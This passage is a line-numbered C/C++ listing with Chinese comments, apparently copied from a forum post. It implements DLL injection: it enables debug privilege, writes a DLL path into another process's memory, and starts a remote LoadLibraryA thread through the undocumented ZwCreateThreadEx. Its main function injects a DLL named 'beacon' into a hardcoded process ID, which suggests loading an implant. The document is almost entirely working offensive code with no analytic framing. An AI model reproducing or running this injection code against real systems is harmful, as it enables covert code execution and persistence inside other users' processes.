16. BOOL EnableDebugPrivilege()
    
17. {
    
18.     HANDLE hToken;
    
19.     BOOL fOk = FALSE;
    
20.     if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
    
21.     {
    
22.         TOKEN_PRIVILEGES tp;
    
23.         tp.PrivilegeCount = 1;
    
24.         LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
    
25. 
    
26.         tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
27.         AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    
28. 
    
29.         fOk = (GetLastError() == ERROR_SUCCESS);
    
30.         CloseHandle(hToken);
    
31.     }
    
32.     return fOk;
    
33. 
    
34. }
    
35. 
    
36. 
    
37. // 使用 ZwCreateThreadEx 实现远线程注入
    
38. BOOL ZwCreateThreadExInjectDll(DWORD PID, const char* pszDllFileName)
    
39. {
    
40.     HANDLE hProcess = NULL;
    
41.     SIZE_T dwSize = 0;
    
42.     LPVOID pDllAddr = NULL;
    
43.     FARPROC pFuncProcAddr = NULL;
    
44.     HANDLE hRemoteThread = NULL;
    
45.     DWORD dwStatus = 0;
    
46. 
    
47.     EnableDebugPrivilege();
    
48. 
    
49.     // 打开注入进程，获取进程句柄
    
50.     hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    
51. 
    
52.     if (hProcess == NULL)
    
53.     {
    
54.         printf("OpenProcess - Error!\n\n");
    
55.         return -1;
    
56.     }
    
57.     // 在注入的进程申请内存地址
    
58. 
    
59.     dwSize = ::lstrlen(pszDllFileName) + 1;
    
60.     pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    
61. 
    
62.     if (NULL == pDllAddr)
    
63.     {
    
64.         ShowError("VirtualAllocEx - Error!\n\n");
    
65.         return FALSE;
    
66.     }
    
67.     //写入内存地址
    
68. 
    
69.     if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
    
70.     {
    
71.         ShowError("WriteProcessMemory - Error!\n\n");
    
72.         return FALSE;
    
73.     }
    
74.     //加载ntdll
    
75.     HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
    
76. 
    
77.     if (NULL == hNtdllDll)
    
78.     {
    
79.         ShowError("LoadLirbary");
    
80.         return FALSE;
    
81.     }
    
82.     // 获取LoadLibraryA函数地址
    
83.     pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
    
84. 
    
85.     if (NULL == pFuncProcAddr)
    
86.     {
    
87.         ShowError("GetProcAddress_LoadLibraryA - Error!\n\n");
    
88.         return FALSE;
    
89.     }
    
90. 
    
91. #ifdef _WIN64
    
92.     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
    
93.         PHANDLE ThreadHandle,
    
94.         ACCESS_MASK DesiredAccess,
    
95.         LPVOID ObjectAttributes,
    
96.         HANDLE ProcessHandle,
    
97.         LPTHREAD_START_ROUTINE lpStartAddress,
    
98.         LPVOID lpParameter,
    
99.         ULONG CreateThreadFlags,
    
100.         SIZE_T ZeroBits,
     
101.         SIZE_T StackSize,
     
102.         SIZE_T MaximumStackSize,
     
103.         LPVOID pUnkown);
     
104. #else
     
105.     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
     
106.         PHANDLE ThreadHandle,
     
107.         ACCESS_MASK DesiredAccess,
     
108.         LPVOID ObjectAttributes,
     
109.         HANDLE ProcessHandle,
     
110.         LPTHREAD_START_ROUTINE lpStartAddress,
     
111.         LPVOID lpParameter,
     
112.         BOOL CreateSuspended,
     
113.         DWORD dwStackSize,
     
114.         DWORD dw1,
     
115.         DWORD dw2,
     
116.         LPVOID pUnkown);
     
117. #endif
     
118. 
     
119.     //获取ZwCreateThreadEx函数地址
     
120.     typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
     
121. 
     
122.     if (NULL == ZwCreateThreadEx)
     
123.     {
     
124.         ShowError("GetProcAddress_ZwCreateThread - Error!\n\n");
     
125.         return FALSE;
     
126.     }
     
127.     // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
     
128.     dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
     
129.     if (NULL == ZwCreateThreadEx)
     
130.     {
     
131.         ShowError("ZwCreateThreadEx - Error!\n\n");
     
132.         return FALSE;
     
133.     }
     
134.     // 关闭句柄
     
135.     ::CloseHandle(hProcess);
     
136.     ::FreeLibrary(hNtdllDll);
     
137. 
     
138.     return TRUE;
     
139. }
     
140. 
     
141. int main(int argc, char* argv[])
     
142. {
     
143. #ifdef _WIN64
     
144.     BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");
     
145. #else
     
146.     BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");
     
147. #endif
     
148.     if (FALSE == bRet)
     
149.     {
     
150.         printf("Inject Dll Error!\n\n");
     
151.     }
     
152.     printf("Inject Dll OK!\n\n");
     
153.     return 0;
     
154. }

复制代码